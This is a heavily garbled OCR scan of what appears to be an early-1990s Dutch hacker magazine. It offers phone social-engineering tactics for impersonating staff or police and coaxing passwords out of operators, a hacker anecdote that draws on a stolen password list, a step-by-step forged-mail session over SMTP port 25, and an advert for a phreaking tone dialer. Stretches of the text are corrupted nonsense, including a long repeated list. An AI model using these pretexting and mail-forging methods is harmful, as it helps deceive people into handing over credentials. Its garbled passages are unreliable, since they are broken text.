- Niet van perfecte kwaliteit hoeft te zijn
- Zwart/wit is

De meeste faxen hebben een optie om het telefoonnummer van de verzender, de fax af te drukken op de verzender fax. Natuurlijk moet je daar gebruik van maken, en welk telefoonnummer je daarbij opgeeft moet je wel weten.

Versier heb ik wel eens gehoord van mensen die het berichtje van een groot bedrijf kopiëren, en vervolgens hun eigen fax die daar uitstroomt alief te afkomstig is van dat bedrijf. Volgens mij maken die mensen zich dan wel schuldig aan valheid en geschillen, dus ik raad niemand aan om dit te doen.

Het een natuurlijk wel erg handig zijn met social engineering: "Op woensdag is een nieuw technische dienst contact met u op over de volgende onderwerpbijeenkomst". En inderdaad gaat er dan op die datum de telefoon, en hangt er een mannetje aan de lijn.

Alleen voor de erg gevorderden: de Semafun

Hiermee is je nog het zelftje over de semafun. Dat handige spelletje waarmee je kan zien welke semafunoms werkin oppgevoert? (Tuurlijk doe je dat.) Met dit spelletje kan je niet alleen zien welke semafunoms werkin oppgevoert, maar ook (B) (alpha)numerische semafun) welke beschikkingen er doorheen, vaak ook als "BIL 000 12345". De gewoerdte en voor fysieke pbreuk (in het koms van een stuk ge-wolven Bekenoor) maakt hier ook gebruik van, en dove trunk alleen is al goed voor dagement vermaak.

Wie heeft er Andie, van Dots nodig als hij te het beelt is van een semafun? De standaard vraag is "U had geproft?". Vervolgens hangt het ervan af, wie er aan de andere kant van de lijn hangt: een computer-operator, een bewakingpbreuk, een vriedensdij, een druppelaar, etc. etc.

Vooral in het laatste geval kan je de grootste lol hebben ("met inspecteur Haddema van de politie, wil u zich vergewoerd over op het bureau maider?"). Of je kan een speler-operator zijn tochtwoord in alomkambode latsa wikkelen, om te kijken of de storing aan statische klauriditeit te wijten is, alvorens hem zijn password te ontferken. Het leuke van dit spelletje is, dat de andere kant er zeker van is, dat alleen de beelder van de semafun dove oproep ontvingen heeft (waar een voorbeeld van hier vertoewen in de techniek). Het duurt dus vaak een hele tijd met zeer veel grappen & grofba voordat de drahtoffen het reiken.

Waar zijn vrienden anders voor..

Sacht engineering, vaak de meeste dages, het leukste als je het met meerdere personen doet. Het is altijd handig om een vriend(in) in de buurt te hebben waar je op terug kunt vallen als mensen naar bijvoorbeeld je stad vragen. Verder kunnen ze "de andere kant" shoud op je voorbeelden ("vanc technische dienst belt u vanmiddag nog?"), of kunnen ze de deuk van je afweten als het ECHT niet lijkt te gaan ("vanc, wilt u een ophangen, we hebben deze lijn draggend nodig, mijn collega belt u nu terug?"). Ook maken ze het mogelijk om, net als in het echt, een bedrijf terug te vallen door verschillende mensen van hetzelfde "ingepie-bureau" (of consultancy / beheers / vanc-maar op service).

Problemen

Het kan natuurlijk altijd gebeuren dat "de andere kant" een beetje wantrouwig wordt, of hetweg uit gewoente moeilijk doet (vooral populair bij de overheid). Hieronder volgen enkele vaak voorkomende problemen, plus wat oplossingen:

- "Was ik u daover terughellen?" Oplossing: Laat ze terughellen naar een gebucht antwoordapparaat of vancmalbox, met daarop jouw beschikking naar keuze. Wat je ook kunt doen, is hetweg zeggen "Nee, ik moet het NU weten!", maar dat hangt er nog vanaf als WIE je belt. De beste oplossing is om een

telefoonnummer klaar te hebben dat constant bezig is, of een nummer van een rechtadviseur, psycholoog, enz.

- 'Dan moet u even langskomen'. Indien je opbelt als een onderhouden, chiqueus persoon je grote bek opentrokken, en ze vertellen dat je wel wat beters te doen hebt dan iedere klant aan het handje te houden. Anders moeten over tijdgebrek, druk van je baas, of gewoon zeggen dat je langskomt, en het dan over een paar dagen weer proberen.
- 'Goef je chef maar even'. Als je in je eerste best nou je je eigen chef kunnen spelen, mij lukt dat altijd weer (herkenbare stem), dat het slimst is het, om een vriend paraat te hebben staan als 'chef' of 'keffin' (alles bevreden de 13 ander haard in de keel klinkt door de telefoon als chéfin).

Wat te doen met je verkregen informatie?

Probeer zoveel mogelijk bij te houden over:

- Namen. Hoe meer namen je binnen een organisatie, weet te nemen, des te meer vertrokken binnen je in. Als de organisatie waar je wat te weten wilt komen ook maar een beetje zelfrespect heeft, dan heeft ze een intern telefoonboekje. Met een beetje inspanning (zie oefening 'De over-matching') is er aan 't boekje te komen, en dan kan het behoorlijk ingewikkeld. Ook handig voor mensen die telefoonnummers willen gaan scannen op carrière je niet vrij snel welke rangen je niet moet scannen.
- Namen (ervaren, overvaren, plaats in de organisatie). Monitor over het niveau van de personen aan de andere kant van de lijn hebben ook kan nut: een ervaren unit opstapmanager ga je natuurlijk niet verwachten dat je even zoveel aandacht op zijn bak moet uitvoeren. Ly te corruptie hoeden. Aan de andere kant is er iemand met van vertrouwen als je opbelt als iemand van het CIRT. Als je weet dat er aan de andere kant van



de Persoonlijkheid nr. 4

de lijn een gewone vl, tusschen daar is William de Kook met vijf gecraakte klantendatabasen waar Vinder is het handig als je weet wie boeren wie staat: "Doed haalt maar, de Brits daar (toekomsting voor gageen). Ja hoor dan is het goed".

- Gedrag (goud, ing, maatschappij, te informeren, etc). Deze lijn is handig als je regelmatig contact hebt met mensen (outrake, geene bedrijven, OMT). Je weet dan van k-weten dat je bij bv. Marika geen tijd heeft te verspillen, maar dat Judith meestal wel een heeft om wat te kletsen, en die ook maar info geeft.

Waar gebeurd :

Eenkei bakker, rivaten al een tijdje op een experimenteel een systeem van de een of andere glaslampfabriek, toen op eens de verbinding verbroken werd. Zij besluten om eens een volke verbinding te leggen, en kregen een nachtportier aan de lijn (HK = hacker, NP = nachtportier).

- NP: "XXXXXXX, met wie?"
- HK: "Ja goedemiddag, ik had net een verbinding met de YYY-computer, maar die verbinding werd op eens verbroken. Hoe kan dat?"
- NP: "Kom-pies-tar? Uh, met wie spreek ik?"
- HK: raadpleegt zijn logboek, en streekt in de passwordlist van het systeem naar een geschikte naam: "Ja, ik heb namens de heer Veenema, seerd Veen".
- NP: "Euh, die van de inkoop?"
- HK: bakker denkt: Hoe moet ik dat weten? "Natuurlijk die van de inkoop, want u dan soms nog een andere Veenema?"
- NP: "Oh, oh nee, maar wat kan ik aan die computer doen?"

Inkoop werd de portier naar de computer geroepen. Het bleek dat er te veel login-pogingen waren ondernomen, als gevolg hiervan was door een lock-programma de computer vastgezet. De portier wist, "gehoelpt" door de hacker, de zaak weer dreigende te krijgen, en het (data) floot kon weer verder.

*Don't let the bastards
grind you down,*

Stainless Steel



*Are you doing the processing?
...or are you being processed?*

Let Processed World

* .hacktic.nl

Sinds een tijdje zijn we hier op het Hacktisch Hoofdkwartier druk aan het spelen met UUCP. UUCP was oorspronkelijk een verzameling van een serie programma's die het mogelijk maken om berichten en files te versenden tussen UNIX systemen. Het is nu bekend als de naam van een protocol om post te versenden binnen een verdeeld netwerk. Voor meer technische info over hoe UUCP werkt op een UNIX systeem kan je het artikel van The Duke lezen in Hack-Tic 16/12.

Het UsiNet nieuw netwerk maakt een kundigde protocol gebruik. UsiNet is te vergelijken met de Echo-Mail faciliteit binnen het FIDO netwerk, een grote verzameling 'newsgroups', waarbinnen van alles te vinden is. (Porno-plaatjes, kerkelijke geloofsbelofte, alles over de Britaanse cultuur en schokkende UFO meldingen).

Een groot deel van het huidige usi-netwerk is online met elkaar verbonden door middel van het Internet. Dit betekent onder meer dat post niet meer van machine naar machine loopt maar direct bij de geadresseerde wordt afgeleverd door de verzendende computer.

Zo'n internet verbinding wil ik ook thuis!

Nee. Een internet verbinding van de goedkoopste soort (19.2 kbps of minder) kost namelijk 750 gulden per maand. (Ja de toolboxes willen we eventueel wel een internet host, maar dan moeten we de kosten met een hele hoop mensen kunnen delen. Als je thuis mail-software draait zou je je post kunnen afleveren bij een machine op het Internet en dan tegelijkertijd inkomende post ophalen. Wij doen dat het ook voor alle post en nieuw voor het 'hacktic' domein. De onderliggende machines (zoals Utopia) halen het dan weer naar op. Wij draaien dus een compleet eigen sub-netwerk. Er is zelfs een rocks night newsgroup).

Maar ik heb geen UNIX!

Daar hadden dus twee mensen last van, want UNIX is wel een geweldige besturingssysteem, maar je kunt er (op de PC althans) welbeschouwd geen zonder mee, behalve praten met andere UNIX systemen. Waarom een echt Operating System gebruiken als het met DOS ook kan?

Hoe doe ik mee?

Als je een PC hebt kun je op een aantal manieren meedoen. Eerst moet je kunt een bbs beginnen. Dit heeft als voordeel dat meer mensen van je dienst gebruik kunnen maken. Het nadeel is dat je een PC en een telefoonlijn terveel moet hebben. Als hulpoplossing kun je een bbs beginnen dat alleen 's avonds en 's nachts open is. Voor je aan een bbs begint is het raadzaam om eens te kijken wat er al is 'out there'.

Snelle Inleiding in WAFFLE

Waffle is een (redelijk minimaal uitgevoerd) bbs programma. Het kan uwop raad aanvragen en ontvangen en heeft UseNet als een faciliteit (zie elders).

Wil je nu meteen zonder problemen beginnen met UUCP-mail verstuuren en ontvangen? Dan heb je een van de bbs'en op de dl ondersteunen. Hackintosh en Utopia draaien waffle als een extern programma. Je moet dan eerst in het normale bbs inloggen, en daarna nog eens in waffle. Als je gewilderd bent in waffle kun je op gemakkelijke manier post verstuuren door 'mail naam@voornamenadres' in te typen.

UUPC

3e manier. Als je een PC hebt kun je ook gebruik maken van het programma UUPC. Dit programma is als het ware een '1-persoons bbs'. Het kan zelf opbellen om de mail af te halen, je kunt het zien op je gemak lezen en beantwoorden. Als je nog een keer belt wordt je mail afgeleverd. Het is een beetje te vergelijken met de post software van het FIDO-net. Voor een MS-DOS pakket is UUPC redelijk volledig: alles is vertelbaar en het geheel is voorzien van goede documentatie.

PCNews

PCNews is een afdeling op UUPC. Het maakt het mogelijk om UseNet news te ontvangen op een machine, waarop je UUPC draait. Het werkt tamelijk simpel. De beschrijving staat wel met enige specificaties en het geheel is nog in ontwikkeling, dus er zitten hier en daar nog kleine bugs in. De user-interface (het smokje) is wel aardig.

Donder loch op met je PC's

Als je geen PC hebt (maar bijvoorbeeld een Atari, Mac of Amiga) dan is er ook software in omloop die dit voor je doet, maar wij hebben zelf nog geen tijd gehad om er mee te spelen. Het pakket UUPC wordt geleverd met source, dus C-programmers op meer exotische hardware kunnen ook hun gang gaan.

Maar goed, als je de best-software in huis hebt kan je voor meer informatie contact opnemen met Neuzenac op het MSN Utopia of met Roy via postbus 100 in het postvaknummer ten westen van de centrale hal in onze voice-adventure (020-6001480).

Geen enkel alternatief meer ?

Als je een de een of andere reden op zoek van de bovengenoemde manieren waarop post kan verzenden dan rust er nog een allerlaatst alternatief, namelijk het zenden van zogenaamde 'forged mail'. Op deze manier kan je vervolgens geen mail ontvangen maar alleen verzenden.

Om dit te gaan doen zoek je eerst een mail-host die het programma beschikbaar draait op poort 25. Zoek een telefonisch bereikbaar terminaalserver (bij een universiteit of zo) en typ het adres van een computer of daar met het getal 25 achter (voorbeeld: host01.gro.vu.nl 25). Deze truc is al enigzins uit de doeken gedaan in de vorige Hack-Tip, maar bijzonder volgt nogmaals een kleine log.

```
brooto.gro.vu.nl 25
Trying BROOTO.GRO.VU.NL (130.27.04.2, 25)... Open
210 brooto.gro.vu.nl Sendmail 4.1/901-4-9 ready at Sun, 1 Mar 92
210Tu20 +0100
Erla vanmanen.vanmanen <Erla@jaka.math.vu.nl>
210 brooto.gro.vu.nl Erla vanmanen.vanmanen (user=erla.vanm.nl),
planned to mail you
Mail from vanmanen <Erla vanmanen.vanmanen>
210 vanmanen... Sender ok
rept for vanmanen@utopia.hacktic.nl = de bestemming van dit bericht >
210 vanmanen@utopia.hacktic.nl... Recipient ok
data = 00000000000000000000000000000000
>>> Enter mail, end with "." on a line by itself

dit is een test-mailtje voor Hack-Tip.

Wie bie bie bie bie

Koenenac
-
210 Mail accepted
quit
210 brooto.gro.vu.nl closing connection

[Connection to BROOTO.GRO.VU.NL closed by foreign host]
```

HackTir

Video Signaal Optimalisator

In een korte video's (HackTir TV van 1992) publiceerden we een schema van een video-gevoelsoptimalisator. Het bleek toen nog al even voor dat een bepaald besmet in de UHF-stand geen beelden levend gaf. Het bleef je met problemen van de TV goed af te stemmen. Het schema dat we later publiceerden was groter en ingewikkelder (de her' bleef te krijgen) hebben we het heel sterk verkort (algoritme). Nu is HackTir de kleinste mogelijk versie (beschrijving van beschrijving van...) en je hebt al problemen van grote afstanden. Het was nog een en nog van een laatste kopie van het schema, want het probleem is tevens, behalve dat nog steeds niet opgelost.

Wat is er mis?

Bekendheid heeft een enorm succesvolle record op de UHF-stand kan het voorkomen dat de horizontale syn-puls van een video-sigitaal (afstandig om het beeld stabiel voor te geven) geen probleem wordt. Wij vermoeden dat de horizontale syn-pulsoppas van de geledelede vanda het hemel is geen probleem. Als dit gelukt is, wordt er ook nog een ander record vastgelegd op het video-sigitaal in de FM/AM-stand van de fase, voor de techniek onder L) genevensom. Dat de held van het beeld staat in de juiste positie van de andere niet.

Overigens met geen kennis hebben we de optimalisator zelfstandig vervaardigd en geïntegreerd ingesloten de lang-gesamen. Wat bleef het kan allemaal veel simpler. Het video-sigitaal vervaardigt een van video-sigitaal (afstandig uit je video-receiver of SCART-TV) en kan een geprocesseerd signaal af. Alleen bij (2) Vull prijsgenotuurverlaren in posten. Hetzelfde, om je ook een optimalisator tussen te plaatsen als je geen video-ingang op je TV hebt. Als je ook nog een meer-donnelator voor het gekozen layout kan het geluid transporteren tussen de kabel worden goed. Het is niet vereist. Het signaal wordt steeds beter, maar niet je het met deze eerste deel.

Trouwens, in andere landen kunnen verschillende problemen voor een kabel-TV, en het is het onbetrouwbare dat dezelfde apparaten kan worden gebruikt. Als bij NTSC optimaal kan het in principe worden weten.

Het is wel erg simpel!

Ja, en dat heeft een zeer overtuigend resultaat. Het beeld kan als het beelddonnelator of helder en kan heel klein (vergeet niet). Verder is het vervaardigd met behoud van, dat optimaal met video-receiver of verspreid op af te krijgen TV's kan problemen geven. De problemen zijn niet.

Programma's maken, beschrijving, de-constructie het zelf als het signaal het goed op de ingang staat, en probeert dat een correct signaal te corrigeren, wat als gevolg van goede kwaliteit. De ontvanger is een belangrijk uit te maken. Het is er niet wil het wel een voorbeeld dat de 'video' zelf niet afgevoerd kan en niet vervaardigt in de volgende HackTir een deconstructie van de plaat van de schakeling te weten. Het wordt aangegeven op de posten 'video' en 'video' in het schema. Beschrijving vervaardigt in het systeem zelf het wel is of een held vervaardigt.

In het deel dat de opzet pakt gemiddeld is een LM380 gebruikt, maar twee componenten in de-constructie, en gebruikt te meer 1. Een de andere niet, want de plaat van de volgende Tir ge-schakelt. Probeert ook geen LM380, het hebben wij niet geprobeerd en dat doet het niet.

Verder is te bekijken!

Billsf

(Zieke Commercie)

Is het allemaal niet meer zo scherp?

Dat komt misschien omdat je een kopieje van een kopieje van een kopieje leest. Doe ons (en je ogen) een lol en abonneer je op Hack-Tic. Abonneren ontvingen is bij Hack-Tic in full-color en door FTU-post distribueerd, gratis acceptatie als het abonnement is afgelopen en ze komen stuk voor stuk in de hemel.

De hemel?

Ja, je leest het goed: Wij hebben een unieke groothandelsovereenkomst met de kathedrale kerk kunnen maken. Alle abonnementen komen in de hemel, het maakt niet uit wat je verder nog op je kerfstok hebt. Grijp je kans, zo lang de voorraad strekt.

Bel nu snel 020-600-000 en meld je op de derde stage van het interstedelijk hoorspel. Je ontvangt dan samen met het volgende nummer een acceptatie voor 40 gulden. Betaal je dit, dan ben je abonnee.

Demon Dialer

Zoals jullie allemaal in de vorige Hack-De hebben kunnen lezen, is er bij ons een chip verkrijgbaar waarmee je alle signaalinformatie voor het internationale telefoonnet kunt genereren. Niet nu het nu gratis gaat van het vorige nummer hebben we echter besloten om het geheel voor een kortere periode publiek beschikbaar te maken door de Demon Dialer als compleet bouwpakket te verkopen. Bij het bouwpakket zit de print, het toetsenbord, alle onderdelen behalve de batterij en de speaker en een duidelijke montage- en bedieningshandleiding.

De speaker en batterij zijn wegge laten omdat we niet hier te veel verspreiden de meeste mensen willen daar toch zelf een beetje knutselen. Ook moet worden opgemerkt dat de handleiding GEEN hoe bel ik gratis-handboek is, maar een

gude tekende beschrijving van de werking en programmeermogelijkheden van de dialer. Een photo-scherm vul je zelf moeten worden.

Voor de HCC-beam van afgelopen November hadden we een kleine serie Demon-Dialers vervaardigd, en deze is inmiddels volledig uitverkocht. Ongewoer tegelijkertijd met het uitkomen van dit nummer is er een nieuwe serie Demon-Dialers al, en die kunnen dus nu weer besteld worden. Wees er snel bij, want ook deze lading kan snel uitverkocht zijn.

Wat is een Demon-Dialer?

Voor de mensen die het artikel in de vorige Hack-Tie niet gezien hebben, zijn hier nog even kort de specificaties:

- Password protection
- DTMF, ATFI, RJ forward & backward, CUTT 3,4,5, Redbox, RI, and more
- User defined frequencies and timings
- Guard tones
- User defined key-layout
- Macro-recording, editing, stepping en slussing
- Number scanning
- Tone sweep en tone stepping
- RS232 interface (PC software in Public Domain)
- Auto power down
- Battery backup RAM
- Stromgebruik 15mA (in use), 1uA (power down mode)

De Demon-Dialer bestaat uit twee prints, de keyboard print, en de processor print. Beide prints meten 65 x 72 mm, zodat ze gemakkelijk boven elkaar in een doosje te monteren zijn.

Wat kost ie?

De Demon-Dialer kost f70,- inclusief verzendkosten binnen Nederland. Betalen doe je aan de postbode, dat gaat geld vooraf betalen! De Demon-Dialer is al het geruchtchap dat de telefoonschrek van nu nodig heeft!

Winnaars van de Demon-verloting

In de vorige Hack-Tie kondigden we het al aan: twee mensen die op de HCC-abstracts werkten hebben een Demon-Dialer gewonnen. De Demon-Dialers gaan naar: E. Westplac in Alkmaar en Koen Mennens uit Zandaren. Gefeliciteerd! Niet gewonnen? Onder de winnaars van de caqrote verloting we nog een Demon-Dialer.

Lezerspost

Korter dan korter?

Uitvervalsing van programmeert de Telex: waarom Hack-Tic 14-17? Ook wel mogelijk gepubliceerd door het magazine is de loop van de programmeert van het vervoer ik gepubliceerd dat nog een realisatie. De vervoer 2 vervoer ik ik te veranderen in de PDP 11 vervoer door MCY 14-17. Het is nu die 11-bytes lang en de vervoer 11-bytes.

Media

Leid gevonden, ik heb er gevonden een goede die 11-bytes lang 11-bytes af op 11-bytes en ik er een programmeert vervoer. Ik heb er gevonden in de PDP 11 vervoer ik te veranderen. Ik heb er gevonden ik een vervoer ik te veranderen vervoer ik te veranderen lang. Maar goed, je hebt het vervoer ik te veranderen je vervoer ik te veranderen vervoer. Op pagina 11 heb er gevonden die nog veel korter zijn. (Het vervoer ik te veranderen)

V.L. Lijst

Beste Hack-Tic,

Ik vind het een goede vervoer van de PTT vervoer ik te veranderen te veranderen van de vervoer ik te veranderen. Nieuwlyk zijn de vervoer ik te veranderen te veranderen, maar vervoer ik te veranderen. Het vervoer ik te veranderen (Het vervoer ik te veranderen bij de vervoer ik te veranderen "2").

*21 - "De vervoer ik te veranderen"	1980
*22 - "De vervoer ik te veranderen"	1980
*23 - "De vervoer ik te veranderen"	1980
*24 - "De vervoer ik te veranderen"	1980
*25 - "De vervoer ik te veranderen"	1980
*26 - "De vervoer ik te veranderen"	1980
*27 - "De vervoer ik te veranderen"	1980
*28 - "De vervoer ik te veranderen"	1980
*29 - "De vervoer ik te veranderen"	1980
*30 - "De vervoer ik te veranderen"	1980
*31 - "De vervoer ik te veranderen"	1980
*32 - "De vervoer ik te veranderen"	1980
*33 - "De vervoer ik te veranderen"	1980
*34 - "De vervoer ik te veranderen"	1980
*35 - "De vervoer ik te veranderen"	1980
*36 - "De vervoer ik te veranderen"	1980
*37 - "De vervoer ik te veranderen"	1980
*38 - "De vervoer ik te veranderen"	1980
*39 - "De vervoer ik te veranderen"	1980
*40 - "De vervoer ik te veranderen"	1980
*41 - "De vervoer ik te veranderen"	1980
*42 - "De vervoer ik te veranderen"	1980
*43 - "De vervoer ik te veranderen"	1980
*44 - "De vervoer ik te veranderen"	1980
*45 - "De vervoer ik te veranderen"	1980
*46 - "De vervoer ik te veranderen"	1980
*47 - "De vervoer ik te veranderen"	1980
*48 - "De vervoer ik te veranderen"	1980
*49 - "De vervoer ik te veranderen"	1980
*50 - "De vervoer ik te veranderen"	1980
*51 - "De vervoer ik te veranderen"	1980
*52 - "De vervoer ik te veranderen"	1980
*53 - "De vervoer ik te veranderen"	1980
*54 - "De vervoer ik te veranderen"	1980
*55 - "De vervoer ik te veranderen"	1980
*56 - "De vervoer ik te veranderen"	1980
*57 - "De vervoer ik te veranderen"	1980
*58 - "De vervoer ik te veranderen"	1980
*59 - "De vervoer ik te veranderen"	1980
*60 - "De vervoer ik te veranderen"	1980
*61 - "De vervoer ik te veranderen"	1980
*62 - "De vervoer ik te veranderen"	1980
*63 - "De vervoer ik te veranderen"	1980
*64 - "De vervoer ik te veranderen"	1980
*65 - "De vervoer ik te veranderen"	1980
*66 - "De vervoer ik te veranderen"	1980
*67 - "De vervoer ik te veranderen"	1980
*68 - "De vervoer ik te veranderen"	1980
*69 - "De vervoer ik te veranderen"	1980
*70 - "De vervoer ik te veranderen"	1980
*71 - "De vervoer ik te veranderen"	1980
*72 - "De vervoer ik te veranderen"	1980
*73 - "De vervoer ik te veranderen"	1980
*74 - "De vervoer ik te veranderen"	1980
*75 - "De vervoer ik te veranderen"	1980
*76 - "De vervoer ik te veranderen"	1980
*77 - "De vervoer ik te veranderen"	1980
*78 - "De vervoer ik te veranderen"	1980
*79 - "De vervoer ik te veranderen"	1980
*80 - "De vervoer ik te veranderen"	1980
*81 - "De vervoer ik te veranderen"	1980
*82 - "De vervoer ik te veranderen"	1980
*83 - "De vervoer ik te veranderen"	1980
*84 - "De vervoer ik te veranderen"	1980
*85 - "De vervoer ik te veranderen"	1980
*86 - "De vervoer ik te veranderen"	1980
*87 - "De vervoer ik te veranderen"	1980
*88 - "De vervoer ik te veranderen"	1980
*89 - "De vervoer ik te veranderen"	1980
*90 - "De vervoer ik te veranderen"	1980
*91 - "De vervoer ik te veranderen"	1980
*92 - "De vervoer ik te veranderen"	1980
*93 - "De vervoer ik te veranderen"	1980
*94 - "De vervoer ik te veranderen"	1980
*95 - "De vervoer ik te veranderen"	1980
*96 - "De vervoer ik te veranderen"	1980
*97 - "De vervoer ik te veranderen"	1980
*98 - "De vervoer ik te veranderen"	1980
*99 - "De vervoer ik te veranderen"	1980
*100 - "De vervoer ik te veranderen"	1980

en dan nu het laatste...

Ik vind het een goede vervoer van de PTT vervoer ik te veranderen te veranderen van de vervoer ik te veranderen. Nieuwlyk zijn de vervoer ik te veranderen te veranderen, maar vervoer ik te veranderen. Het vervoer ik te veranderen (Het vervoer ik te veranderen bij de vervoer ik te veranderen "2").

Maar nu heb ik een goede vervoer van de PTT vervoer ik te veranderen te veranderen van de vervoer ik te veranderen. Nieuwlyk zijn de vervoer ik te veranderen te veranderen, maar vervoer ik te veranderen. Het vervoer ik te veranderen (Het vervoer ik te veranderen bij de vervoer ik te veranderen "2").

Lezerspost

Colofon: type "Lezerspost", postnummer (bij voorkeur digitaal) en wordt op de mailing "attaché" en "Lezerspost" afgevoerd ... In dit gebied zijn vooral mensen, maar moet je niet een beetje wachten, na het je geïnteresseerd te hebben. Tot nu toe "Lezerspost" ligt in een bijlage bij "Lezerspost" te vinden.

met voldoende tijd je een welke redenen er van hangen

P.S.: Bijvoorbeeld tevens, er wordt ook van gezegd O ja, dat ik hierheen de ATTACH van 1-11 perik te laten met dat het op 1-11 moet werken. Het doet het namelijk niet. Het maakt niet uit welke vorm ATTACH je gebruikt, het werkt in alle vormen hetzelfde.

A telephone line is like a life-line (JACC)

In de namiddag van 16 maart 1992 is overleden onze medezetel op lange reizen;

06-0101

Ondanks zijn prestaties op topniveau vrijgevig en niet veeleisend. Droeg slechts aan op een TDK-telefoon en een beetje geduld. Zijn lijn kwaliteit en capaciteit zullen nog lang worden geroemd.

Wij wensen de hack-gemeenschap veel sterkte toe bij het verwerken van het verlies. De begrafenis heeft reeds in besloten kring plaatsgevonden.

Correspondentieadres:
PTT-Telecom
Spalstraat 175
Amsterdam

PGP, wat moet je ermee ?

Het is je ook wel eens dat gevoel dat er iemand over je schouder meekijkt als je je e-mail aan het lezen bent? Een spion, of iemand (BVD, buurman, ...) die de lijn afluist waaraan jij je datacommunicatie bedient? Het is alsof iemand je post openbaar maakt zonder dat je er iets tegen kan doen en zonder dat je het ook maar doorhebt. Ook al staat er niets illegaals in, het blijft prietpost. Gewone post doe je toch immers ook in een gesloten envelop? Telefoon gesprekken kunnen worden afgeluist, brieven kunnen worden opengemaakt. Dat is, zeker op grote schaal, een hoop werk. E-mail heeft de (on)gewenste eigenschap dat het gemakkelijk, automatisch en routinematig met de computer te analyseren is. Zeker nu e-mail tussen enkele jaren gemeengoed zal zijn, is het beter niet te vertrouwen op het geweten van Big Brother. Philip Zimmermann, een Amerikaanse computerprogrammeur, vond dat werkelijke privé e-mail weer iedereen toegankelijk moest zijn, en maakte het data-encryptie programma PGP, afkort Pretty Good Privacy. PGP combineert het gemak van het Rivest-Shamir-Adleman (RSA) Public Key systeem met de snelheid van een veel conventioneel encryptie algoritme.

Hoe PGP werkt

De meeste encryptie algoritmes (DES bijvoorbeeld) gebruiken dezelfde sleutel voor zowel versleuteling als ontcijfering. Dit betekent dat je de sleutel op een veilige manier naar de ontvanger moet zien te krijgen. Maar als je een veilige weg hebt om een sleutel te versenden, waarom zou je dat nog encryptie gebruiken? In Public Key encryptie systemen heeft iedereen twee sleutels, een openbare (Public Key, PK) en een geheime (Secret Key, SK). De ene sleutel ontcijfert de code die de andere sleutel maakt. Het is niet mogelijk uit de PK de SK te berekenen (of omgekeerd). Iedereen die de PK van iemand heeft, kan berichten of bestanden ermee versleutelen, maar alleen degene met de corresponderende SK kan het ontcijferen. Zelfs degene die het versleuteld heeft kan het niet meer ontcijferen.

In een Public Key systeem kun je ook een bericht "ondertekenen" met een digitale handtekening, door het te versleutelen met de SK. De ontvanger kan dan, door het bericht te ontcijferen met de corresponderende PK, controleren wie de werkelijke afzender is. Deze twee technieken (encryptie en ondertekening) kunnen worden gecombineerd: eerst wordt een bericht getekend met je eigen SK, en dan versleuteld met de PK van degene voor wie het bericht bestemd is. De ontvanger ontcijfert dan eerst dit bericht met zijn SK, en kan dan de ontvanger checken met behulp van diens PK.

Het RSA Public Key systeem is echter traag. Een manier om dit te versnellen (behalve een snellere computer kopen) is het bericht versleutelen met een snel,

conventioneel encryptie-algoritme, en de sleutel, die elke keer willekeurig wordt aangemaakt, te versleutelen met de PK van de ontvanger, en mee te sturen met het bericht. De software van de ontvanger ontcijfert dan eerst de sleutel met de ontvangers' SK, en geeft dan die sleutel aan het snelle, conventionele encryptie-algoritme om het bericht te ontcijferen. Het conventionele algoritme dat in PGP gebruikt wordt is een afgeleide van algoritmes die zijn ontwikkeld voor militair gebruik. De makers van PGP hebben het sneller en veiliger gemaakt. Om het nog moeilijker te maken om een versleuteld bericht met behulp van crypto-analytische methoden te ontcijferen, wordt door PGP het bericht eerst gecomprimeerd met een aangepaste versie van het algoritme dat gebruikt wordt door LHaarc. Dit algoritme is trager dan bijvoorbeeld PKZIP. Als een bericht al met PKZIP is gecomprimeerd wordt dit door PGP herkend en zal PGP niet proberen het nogmaals te comprimeren.

Hoe gebruik je PGP?

Maak een directory \PGP, en een omgevingsvariabele PGPPATH die naar die directory wijst (MET PGPPATH=\PGP). Neem de \PGP directory op in je PATH. Zet alle files uit de ZIPLEZWAARJ file die je hebt gedownload in die directory. Als je nu PGP wilt gaan gebruiken, moet je eerst een sleutelpaar aanmaken. Start PGP op met de -k optie. Er wordt nu eerst om een naam voor het sleutelpaar gevraagd. Dit is de naam voor de file, waarin de public en de secret key worden opgeslagen, en moet dus niet groter dan 8 karakters zijn.

Vervolgens moet je aangeven wat de lengte van de sleutel moet worden. Je hebt drie mogelijkheden, waar van ik alleen 2 en 3 wil aanraden (ik gebruik zelf alleen 3, Military Grade). Hoe langer de sleutellengte des te trager de encryptie verloopt, maar ook, des te veiliger het allemaal is. Er wordt ook om een ID voor je sleutelpaar gevraagd, dit is je naam (of alias), en eventueel je e-mail adres of andere informatie die je wilt. Vervolgens wordt je gevraagd om een "pass-phrase". Dit is een zin die je Secret Key beschermt, voor het geval dat iemand die van je schijf kraapt. Maak deze zin voldoende lang, en gebruik het liefst een oorsin zin. Onthoud je pass phrase. *Schrijf hem niet op een blaadje!*

Als je dit gedaan hebt, vraagt PGP om 306 willekeurige karakters in te tikken. Niet de karakters zelf, maar de tijd tussen elke toetsaanslag wordt gebruikt. Hieruit wordt het sleutelpaar gegenereerd. Het is de tijd om even een Jolt-cola te nemen, het duurt namelijk op een 12-mba AT ongeveer een kwartier om het sleutelpaar te genereren.

Als je dit gedaan hebt kan je je PK vooral verspreiden. Als iemand mij een bestand 'msg.001' bericht wil sturen, en hierbij beschikt over mijn public key, geeft hij mij het commando

```
c:\msg>pgp -s msg.001 'Deano, Julius'
```

dit levert het bestand 'msg.cbc' op

Dit het bericht te kiezen koma zou ik het commando `pgp -pgp msg -rtu` geven. Dit bericht bestaat 'msg' op. Je kunt een bericht versleutelen met versleutel PK en tegelijkertijd ondertekenen met je sleutel SK door de `-s` optie. Als je berichten of bestanden over netwerklines zoals Internet stuurt, is het verstandig de `-u` (uutcode) optie te gebruiken. ULENCODE is een programma dat van 8-bit files (Images) 7-bit files maakt zodat ze altijd goed overkomen.

Voor paranoiden:

Schrijf je een phrase NERGENS op, en gebruik ook geen maillijst te laden een phrase (den NIET dit naam van je vriend/ vriendin/ moeder/ broer/ computer). Hoevel je Secret Key bezit met je een phrase, is het toch verstandig deze ergens te bewaren waar niemand er bij kan komen.

Het is ook handig je Secret Key te versleutelen, en daarna uit te printen, dan kan je hem altijd weer krijgen als er iets ergs mee gebeurt.

Als je een bestand versleutelt met PGP, en je geeft dit bestand vervolgens weg, is het erg simpel om dit bestand, met behulp van bv. Norton QuickDoc toe te raken te laten. Gebruik de `-w` optie van PGP of een programma als Norton WipeFile om het bestand werkelijk te laten verdwijnen.

